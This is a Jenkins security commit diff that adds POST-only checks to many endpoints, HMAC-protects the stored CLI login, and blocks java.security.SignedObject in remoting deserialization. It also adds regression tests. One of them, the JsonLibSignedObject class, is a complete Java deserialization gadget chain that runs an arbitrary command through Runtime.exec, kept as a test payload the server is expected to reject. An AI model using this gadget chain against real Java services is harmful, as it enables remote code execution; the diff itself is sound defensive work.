Merge branch 'security-stable-1.651' into security-stable-2.7

This commit is contained in:
Jesse Glick committed 2017-04-13 13:50:58 -04:00
commit 06eb14efe6
23 files changed
+420 -17

No files matched your search

@@ -1281,6 +1281,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
return hudson.util.HttpResponses.okJSON(response);
}
@RequirePOST
public HttpResponse doUpdateSources(StaplerRequest req) throws IOException {
Jenkins.getInstance().checkPermission(CONFIGURE_UPDATECENTER);
@@ -1315,6 +1316,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas
/**
* Performs the installation of the plugins.
*/
@RequirePOST
public void doInstall(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
Set<String> plugins = new LinkedHashSet<>();
@@ -1,5 +1,6 @@
package hudson.cli;
import com.google.common.annotations.VisibleForTesting;
import hudson.FilePath;
import hudson.remoting.Channel;
import hudson.util.Secret;
@@ -17,6 +18,9 @@ import java.io.InputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import jenkins.security.HMACConfidentialKey;
/**
* Represents the authentication credential store of the CLI client.
@@ -29,6 +33,10 @@ import java.util.Properties;
* @since 1.351
*/
public class ClientAuthenticationCache implements Serializable {
private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ClientAuthenticationCache.class, "MAC");
private static final Logger LOGGER = Logger.getLogger(ClientAuthenticationCache.class.getName());
/**
* Where the store should be placed.
*/
@@ -37,7 +45,8 @@ public class ClientAuthenticationCache implements Serializable {
/**
* Loaded contents of the store.
*/
private final Properties props = new Properties();
@VisibleForTesting
final Properties props = new Properties();
public ClientAuthenticationCache(Channel channel) throws IOException, InterruptedException {
store = (channel==null ? FilePath.localChannel : channel).call(new MasterToSlaveCallable<FilePath, IOException>() {
@@ -67,12 +76,32 @@ public class ClientAuthenticationCache implements Serializable {
*/
public Authentication get() {
Jenkins h = Jenkins.getActiveInstance();
Secret userName = Secret.decrypt(props.getProperty(getPropertyKey()));
if (userName==null) return Jenkins.ANONYMOUS; // failed to decrypt
String val = props.getProperty(getPropertyKey());
if (val == null) {
LOGGER.finer("No stored CLI authentication");
return Jenkins.ANONYMOUS;
}
Secret oldSecret = Secret.decrypt(val);
if (oldSecret != null) {
LOGGER.log(Level.FINE, "Ignoring insecure stored CLI authentication for {0}", oldSecret.getPlainText());
return Jenkins.ANONYMOUS;
}
int idx = val.lastIndexOf(':');
if (idx == -1) {
LOGGER.log(Level.FINE, "Ignoring malformed stored CLI authentication: {0}", val);
return Jenkins.ANONYMOUS;
}
String username = val.substring(0, idx);
if (!MAC.checkMac(username, val.substring(idx + 1))) {
LOGGER.log(Level.FINE, "Ignoring stored CLI authentication due to MAC mismatch: {0}", val);
return Jenkins.ANONYMOUS;
}
try {
UserDetails u = h.getSecurityRealm().loadUserByUsername(userName.getPlainText());
UserDetails u = h.getSecurityRealm().loadUserByUsername(username);
LOGGER.log(Level.FINER, "Loaded stored CLI authentication for {0}", username);
return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities());
} catch (AuthenticationException | DataAccessException e) {
LOGGER.log(Level.FINE, "Stored CLI authentication did not correspond to a valid user: " + username, e);
return Jenkins.ANONYMOUS;
}
}
@@ -80,10 +109,11 @@ public class ClientAuthenticationCache implements Serializable {
/**
* Computes the key that identifies this Hudson among other Hudsons that the user has a credential for.
*/
private String getPropertyKey() {
@VisibleForTesting
String getPropertyKey() {
String url = Jenkins.getActiveInstance().getRootUrl();
if (url!=null) return url;
return Secret.fromString("key").toString();
return Secret.fromString("key").getEncryptedValue();
}
/**
@@ -95,7 +125,8 @@ public class ClientAuthenticationCache implements Serializable {
// make sure that this security realm is capable of retrieving the authentication by name,
// as it's not required.
UserDetails u = h.getSecurityRealm().loadUserByUsername(a.getName());
props.setProperty(getPropertyKey(), Secret.fromString(u.getUsername()).getEncryptedValue());
String username = u.getUsername();
props.setProperty(getPropertyKey(), username + ":" + MAC.mac(username));
save();
}
@@ -108,7 +139,8 @@ public class ClientAuthenticationCache implements Serializable {
save();
}
private void save() throws IOException, InterruptedException {
@VisibleForTesting
void save() throws IOException, InterruptedException {
OutputStream os = store.write();
try {
props.store(os,"Credential store");
@@ -1348,6 +1348,7 @@ public abstract class AbstractBuild<P extends AbstractProject<P,R>,R extends Abs
* Use {@link #doStop()}
*/
@Deprecated
@RequirePOST // #doStop() should be preferred, but better to be safe
public void doStop(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
doStop().generateResponse(req,rsp,this);
}
@@ -513,6 +513,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
checkPermission(CONFIGURE);
@@ -791,6 +791,7 @@ public abstract class AbstractProject<P extends AbstractProject<P,R>,R extends A
}
@Override
@RequirePOST
public void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
super.doConfigSubmit(req,rsp);
@@ -200,6 +200,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
return Jenkins.getInstance().getComputer(token);
}
@RequirePOST
public void do_launchAll(StaplerRequest req, StaplerResponse rsp) throws IOException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
@@ -215,6 +216,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
*
* TODO: ajax on the client side to wait until the update completion might be nice.
*/
@RequirePOST
public void doUpdateNow( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
@@ -231,6 +233,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
/**
* First check point in creating a new agent.
*/
@RequirePOST
public synchronized void doCreateItem( StaplerRequest req, StaplerResponse rsp,
@QueryParameter String name, @QueryParameter String mode,
@QueryParameter String from ) throws IOException, ServletException {
@@ -280,6 +283,7 @@ public final class ComputerSet extends AbstractModelObject implements Describabl
/**
* Really creates a new agent.
*/
@RequirePOST
public synchronized void doDoCreateItem( StaplerRequest req, StaplerResponse rsp,
@QueryParameter String name,
@QueryParameter String type ) throws IOException, ServletException, FormException {
@@ -57,6 +57,7 @@ import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Service for plugins to periodically retrieve update data files
@@ -371,6 +372,7 @@ public class DownloadService extends PageDecorator {
/**
* This is where the browser sends us the data.
*/
@RequirePOST
public void doPostBack(StaplerRequest req, StaplerResponse rsp) throws IOException {
DownloadSettings.checkPostBackAccess();
long dataTimestamp = System.currentTimeMillis();
@@ -41,6 +41,7 @@ import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
@@ -171,6 +172,7 @@ public class Hudson extends Jenkins {
* Use {@link #doQuietDown()} instead.
*/
@Deprecated
@RequirePOST
public synchronized void doQuietDown(StaplerResponse rsp) throws IOException, ServletException {
doQuietDown().generateResponse(null, rsp, this);
}
+2
View File
@@ -2122,6 +2122,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
return true;
}
@RequirePOST
public void doToggleLogKeep( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
keepLog(!keepLog);
rsp.forwardToPreviousPage(req);
@@ -2179,6 +2180,7 @@ public abstract class Run <JobT extends Job<JobT,RunT>,RunT extends Run<JobT,Run
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
setDescription(req.getParameter("description"));
rsp.sendRedirect("."); // go to the top page
@@ -154,6 +154,7 @@ public class TreeView extends View implements ViewGroup {
// noop
}
@RequirePOST
public void doCreateView( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
checkPermission(View.CREATE);
views.add(View.create(req,rsp,this));
@@ -636,6 +636,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
*
* @since 1.432
*/
@RequirePOST
public HttpResponse doInvalidateData() {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
for (UpdateSite site : sites) {
@@ -649,6 +650,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Schedules a Jenkins restart.
*/
@RequirePOST
public void doSafeRestart(StaplerRequest request, StaplerResponse response) throws IOException, ServletException {
synchronized (jobs) {
if (!isRestartScheduled()) {
@@ -663,6 +665,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Cancel all scheduled jenkins restarts
*/
@RequirePOST
public void doCancelRestart(StaplerResponse response) throws IOException, ServletException {
synchronized (jobs) {
for (UpdateCenterJob job : jobs) {
@@ -737,6 +740,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas
/**
* Performs hudson downgrade.
*/
@RequirePOST
public void doRestart(StaplerResponse rsp) throws IOException, ServletException {
Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER);
HudsonDowngradeJob job = new HudsonDowngradeJob(getCoreSource(), Jenkins.getAuthentication());
@@ -331,6 +331,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr
/**
* Accepts the new description.
*/
@RequirePOST
public synchronized void doSubmitDescription( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
checkPermission(Jenkins.ADMINISTER);
@@ -48,6 +48,7 @@ import net.sf.json.JSONObject;
import org.jenkinsci.Symbol;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Security configuration.
@@ -73,6 +74,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr
return Jenkins.getInstance().isDisableRememberMe();
}
@RequirePOST
public synchronized void doConfigure(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
// for compatibility reasons, the actual value is stored in Jenkins
BulkChange bc = new BulkChange(Jenkins.getInstance());
@@ -60,6 +60,7 @@ import org.kohsuke.stapler.HttpResponses;
import org.kohsuke.stapler.Stapler;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.interceptor.RequirePOST;
import org.springframework.dao.DataAccessException;
import javax.servlet.Filter;
@@ -214,6 +215,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* Creates an account and associates that with the given identity. Used in conjunction
* with {@link #commenceSignup}.
*/
@RequirePOST
public User doCreateAccountWithFederatedIdentity(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
User u = _doCreateAccount(req,rsp,"signupWithFederatedIdentity.jelly");
if (u!=null)
@@ -226,6 +228,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
/**
* Creates an user account. Used for self-registration.
*/
@RequirePOST
public User doCreateAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
return _doCreateAccount(req, rsp, "signup.jelly");
}
@@ -264,6 +267,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* This version behaves differently from {@link #doCreateAccount(StaplerRequest, StaplerResponse)} in that
* this is someone creating another user.
*/
@RequirePOST
public void doCreateAccountByAdmin(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
createAccountByAdmin(req, rsp, "addUser.jelly", "."); // send the user back to the listing page on success
}
@@ -287,6 +291,7 @@ public class HudsonPrivateSecurityRealm extends AbstractPasswordBasedSecurityRea
* <p>
* This can be run by anyone, but only to create the very first user account.
*/
@RequirePOST
public void doCreateFirstAccount(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
if(hasSomeUser()) {
rsp.sendError(SC_UNAUTHORIZED,"First user was already created");
+45 -5
View File
@@ -124,6 +124,7 @@ import hudson.model.listeners.ItemListener;
import hudson.model.listeners.SCMListener;
import hudson.model.listeners.SaveableListener;
import hudson.remoting.Callable;
import hudson.remoting.ClassFilter;
import hudson.remoting.LocalChannel;
import hudson.remoting.VirtualChannel;
import hudson.scm.RepositoryBrowser;
@@ -270,6 +271,7 @@ import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.net.BindException;
import java.net.HttpURLConnection;
import java.net.URL;
@@ -305,6 +307,7 @@ import java.util.concurrent.atomic.AtomicBoolean;
import java.util.logging.Level;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import java.util.regex.Pattern;
import static hudson.Util.*;
import static hudson.init.InitMilestone.*;
@@ -872,6 +875,35 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365));
// TODO pending move to standard blacklist, or API to append filter
if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // TODO 2.4+ SystemProperties
try {
Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns");
blacklistPatternsF.setAccessible(true);
Object blacklistPatterns = blacklistPatternsF.get(ClassFilter.DEFAULT);
if (blacklistPatterns instanceof List) {
@SuppressWarnings("unchecked")
List<Pattern> blacklistPatternsL = (List) blacklistPatterns;
blacklistPatternsL.add(Pattern.compile("java[.]security[.]SignedObject"));
} else { // remoting 2.62+
Object[] blacklistPatternsA = (Object[]) blacklistPatterns;
boolean found = false;
for (int i = 0; i < blacklistPatternsA.length; i++) {
if (blacklistPatternsA[i] instanceof Pattern) {
blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)");
found = true;
break;
}
}
if (!found) {
throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA));
}
}
} catch (NoSuchFieldException | IllegalAccessException x) {
throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x);
}
}
// initialization consists of ...
executeReactor( is,
pluginManager.initTasks(is), // loading and preparing plugins
@@ -3352,6 +3384,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Accepts submission from the configuration page.
*/
@RequirePOST
public synchronized void doConfigSubmit( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException, FormException {
BulkChange bc = new BulkChange(this);
try {
@@ -3439,7 +3472,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
getPrimaryView().doSubmitDescription(req, rsp);
}
@RequirePOST // TODO does not seem to work on _either_ overload!
@RequirePOST
public synchronized HttpRedirect doQuietDown() throws IOException {
try {
return doQuietDown(false,0);
@@ -3490,6 +3523,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Backward compatibility. Redirect to the thread dump.
*/
// TODO annotate @GET once baseline includes Stapler version XXX
public void doClassicThreadDump(StaplerResponse rsp) throws IOException, ServletException {
rsp.sendRedirect2("threadDump");
}
@@ -3717,10 +3751,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
/**
* Do a finger-print check.
*/
@RequirePOST
public void doDoFingerprintCheck( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
// Parse the request
MultipartFormDataParser p = new MultipartFormDataParser(req);
if(isUseCrumbs() && !getCrumbIssuer().validateCrumb(req, p)) {
// TODO investigate whether this check can be removed
rsp.sendError(HttpServletResponse.SC_FORBIDDEN,"No crumb found");
}
try {
@@ -3812,10 +3848,11 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
return;
}
restart();
if (req == null || req.getMethod().equals("POST")) {
restart();
}
if (rsp != null) // null for CLI
rsp.sendRedirect2(".");
rsp.sendRedirect2(".");
}
/**
@@ -3831,7 +3868,9 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
if (req != null && req.getMethod().equals("GET"))
return HttpResponses.forwardToView(this,"_safeRestart.jelly");
safeRestart();
if (req == null || req.getMethod().equals("POST")) {
safeRestart();
}
return HttpResponses.redirectToDot();
}
@@ -4485,6 +4524,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve
}
@Override
@RequirePOST
public void doConfigSubmit(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, FormException {
Jenkins.getInstance().doConfigExecutorsSubmit(req, rsp);
}
@@ -50,6 +50,7 @@ import javax.annotation.Nonnull;
import org.apache.commons.lang.StringUtils;
import org.kohsuke.accmod.Restricted;
import org.kohsuke.accmod.restrictions.NoExternalUse;
import org.kohsuke.stapler.interceptor.RequirePOST;
/**
* Remembers the API token for this user, that can be used like a password to login.
@@ -178,6 +179,7 @@ public class ApiTokenProperty extends UserProperty {
return new ApiTokenProperty(API_KEY_SEED.mac(user.getId()));
}
@RequirePOST
public HttpResponse doChangeToken(@AncestorInPath User u, StaplerResponse rsp) throws IOException {
ApiTokenProperty p = u.getProperty(ApiTokenProperty.class);
if (p==null) {
@@ -96,7 +96,7 @@ THE SOFTWARE.
</table>
<j:if test="${app.hasPermission(app.ADMINISTER)}">
<div align="right" style="margin-top:0.5em">
<form method="get" action="updateNow">
<form method="post" action="updateNow">
<s:submit value="${%Refresh status}"/>
</form>
</div>
@@ -28,7 +28,7 @@ THE SOFTWARE.
<?jelly escape-by-default='true'?>
<j:jelly xmlns:j="jelly:core" xmlns:st="jelly:stapler" xmlns:d="jelly:define" xmlns:l="/lib/layout" xmlns:t="/lib/hudson" xmlns:f="/lib/form" xmlns:i="jelly:fmt">
<j:if test="${it.parent.buildDiscarder!=null and it.canToggleLogKeep()}">
<form method="get" action="toggleLogKeep" style="margin-top:1em">
<form method="post" action="toggleLogKeep" style="margin-top:1em">
<j:if test="${it.keepLog and h.hasPermission(it,it.DELETE)}">
<f:submit value="${%Don't keep this build forever}" />
</j:if>
@@ -0,0 +1,125 @@
/*
* The MIT License
*
* Copyright 2017 CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package hudson.cli;
import com.google.common.collect.Lists;
import hudson.Launcher;
import hudson.security.FullControlOnceLoggedInAuthorizationStrategy;
import hudson.util.Secret;
import hudson.util.StreamTaskListener;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.util.Arrays;
import java.util.List;
import javax.annotation.CheckForNull;
import jenkins.model.JenkinsLocationConfiguration;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.output.TeeOutputStream;
import static org.hamcrest.Matchers.containsString;
import org.junit.Test;
import static org.junit.Assert.*;
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.TemporaryFolder;
import org.jvnet.hudson.test.Issue;
import org.jvnet.hudson.test.JenkinsRule;
public class ClientAuthenticationCacheTest {
@Rule
public JenkinsRule r = new JenkinsRule();
@Rule
public TemporaryFolder tmp = new TemporaryFolder();
// TODO 2.19.x+ use LoggerRule on ClientAuthenticationCache
@Issue("SECURITY-466")
@Test
public void login() throws Exception {
File jar = tmp.newFile("jenkins-cli.jar");
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
assertCLI(0, null, jar, "login", "--username", "dev", "--password", "dev");
try {
assertCLI(0, "Authenticated as: dev", jar, "who-am-i");
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
String val = cache.props.getProperty(cache.getPropertyKey());
assertNotNull(val);
System.err.println(val);
Secret s = Secret.decrypt(val);
if (s != null && s.getPlainText().equals("dev")) {
val = Secret.fromString("admin").getEncryptedValue();
}
System.err.println(val);
val = val.replace("dev", "admin");
System.err.println(val);
cache.props.put(cache.getPropertyKey(), val);
cache.save();
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
} finally {
assertCLI(0, null, jar, "logout");
}
}
@Ignore("TODO fails unless CLICommand.main patched to replace (auth==Jenkins.ANONYMOUS) with (auth instanceof AnonymousAuthenticationToken), not just (Jenkins.ANONYMOUS.equals(auth)), since SecurityFilters.groovy sets userAttribute='anonymous,' so UserAttributeEditor.setAsText configures AnonymousProcessingFilter with a token with an empty authority which fails AbstractAuthenticationToken.equals")
@Test
public void overHttp() throws Exception {
File jar = tmp.newFile("jenkins-cli.jar");
FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar);
r.jenkins.setSecurityRealm(r.createDummySecurityRealm());
r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy());
r.jenkins.setSlaveAgentPort(-1);
assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i");
assertCLI(0, null, jar, "login", "--username", "admin", "--password", "admin");
try {
assertCLI(0, "Authenticated as: admin", jar, "who-am-i");
} finally {
assertCLI(0, null, jar, "logout");
}
}
@Test
public void getPropertyKey() throws Exception {
ClientAuthenticationCache cache = new ClientAuthenticationCache(null);
assertEquals(r.getURL().toString(), cache.getPropertyKey());
JenkinsLocationConfiguration.get().setUrl(null);
String key = cache.getPropertyKey();
assertTrue(key, Secret.decrypt(key) != null);
}
private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception {
List<String> commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth");
commands.addAll(Arrays.asList(args));
ByteArrayOutputStream baos = new ByteArrayOutputStream();
assertEquals(code, new Launcher.LocalLauncher(StreamTaskListener.fromStderr()).launch().cmds(commands).stdout(new TeeOutputStream(System.out, baos)).stderr(System.err).join());
if (output != null) {
assertThat(baos.toString(), containsString(output));
}
}
}
@@ -6,6 +6,7 @@ import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
import com.gargoylesoftware.htmlunit.DownloadedContent;
import com.gargoylesoftware.htmlunit.HttpMethod;
import com.gargoylesoftware.htmlunit.HttpWebConnection;
import com.gargoylesoftware.htmlunit.WebConnection;
import com.gargoylesoftware.htmlunit.WebRequest;
@@ -142,7 +143,17 @@ public class ApiTokenPropertyTest {
// Make sure that Admin can reset a token of another user
WebClient wc = createClientForUser("bar");
HtmlPage res = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
wc.getOptions().setThrowExceptionOnFailingStatusCode(false);
HtmlPage requirePOST = wc.goTo(foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken");
assertEquals("method should not be allowed", 405, requirePOST.getWebResponse().getStatusCode());
wc.getOptions().setThrowExceptionOnFailingStatusCode(true);
WebRequest request = new WebRequest(new URL(j.getURL().toString() + foo.getUrl() + "/" + descriptor.getDescriptorUrl()+ "/changeToken"), HttpMethod.POST);
wc.addCrumb(request);
HtmlPage res = wc.getPage(request);
// TODO This nicer alternative requires https://github.com/jenkinsci/jenkins/pull/2268 or similar to work
// HtmlPage res = requirePOST.getPage().getForms().get(0).getElementsByAttribute("input", "type", "submit").get(0).click();
assertEquals("Update token response is incorrect",
Messages.ApiTokenProperty_ChangeToken_SuccessHidden(), "<div>" + res.getBody().asText() + "</div>");
}
@@ -32,7 +32,6 @@ import java.io.File;
import java.io.PrintStream;
import jenkins.security.security218.Payload;
import org.jenkinsci.remoting.RoleChecker;
import org.junit.Ignore;
import org.junit.Test;
import static org.junit.Assert.*;
import org.junit.Rule;
@@ -170,6 +169,13 @@ public class Security218CliTest {
probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED);
}
@PresetData(PresetData.DataSet.ANONYMOUS_READONLY)
@Test
@Issue("SECURITY-429")
public void jsonLibSignedObject() throws Exception {
probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED);
}
private void probe(Payload payload, int expectedResultCode) throws Exception {
File file = File.createTempFile("security-218", payload + "-payload");
File moved = new File(file.getAbsolutePath() + "-moved");
@@ -47,6 +47,7 @@ public enum Payload {
Spring1(Spring1.class),
Spring2(Spring2.class),
Ldap(Ldap.class),
JsonLibSignedObject(JsonLibSignedObject.class),
;
private final Class<? extends ObjectPayload> payloadClass;
@@ -0,0 +1,158 @@
package jenkins.security.security218.ysoserial.payloads;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;
import net.sf.json.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;
/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */
public class JsonLibSignedObject implements ObjectPayload<Object> {
@Override
public Object getObject(String cmd) throws Exception {
final String[] execArgs = new String[] { cmd };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array2 = (Object[]) f2.get(innimpl);
Object node = array2[0];
if (node == null) {
node = array2[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField(
"key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject payload = new SignedObject(map, privateKey, signature);
JSONArray array = new JSONArray();
array.add("asdf");
ListOrderedSet set = new ListOrderedSet();
Field f1 = AbstractCollectionDecorator.class
.getDeclaredField("collection");
f1.setAccessible(true);
f1.set(set, array);
DummyComperator comp = new DummyComperator();
ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
csls.add(payload);
CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
a1.add(set);
Container c = new Container(csls);
a1.add(c);
a2.add(csls);
a2.add(set);
ReferenceMap flat3map = new ReferenceMap();
flat3map.put(new Container(a1), "asdf");
flat3map.put(new Container(a2), "asdf");
return flat3map;
}
static class Container implements Serializable {
private Object o;
public Container(Object o) {
this.o = o;
}
private Object writeReplace() throws ObjectStreamException {
return o;
}
}
static class DummyComperator implements Comparator, Serializable {
public int compare(Object arg0, Object arg1) {
// TODO Auto-generated method stub
return 0;
}
private Object writeReplace() throws ObjectStreamException {
return null;
}
}
}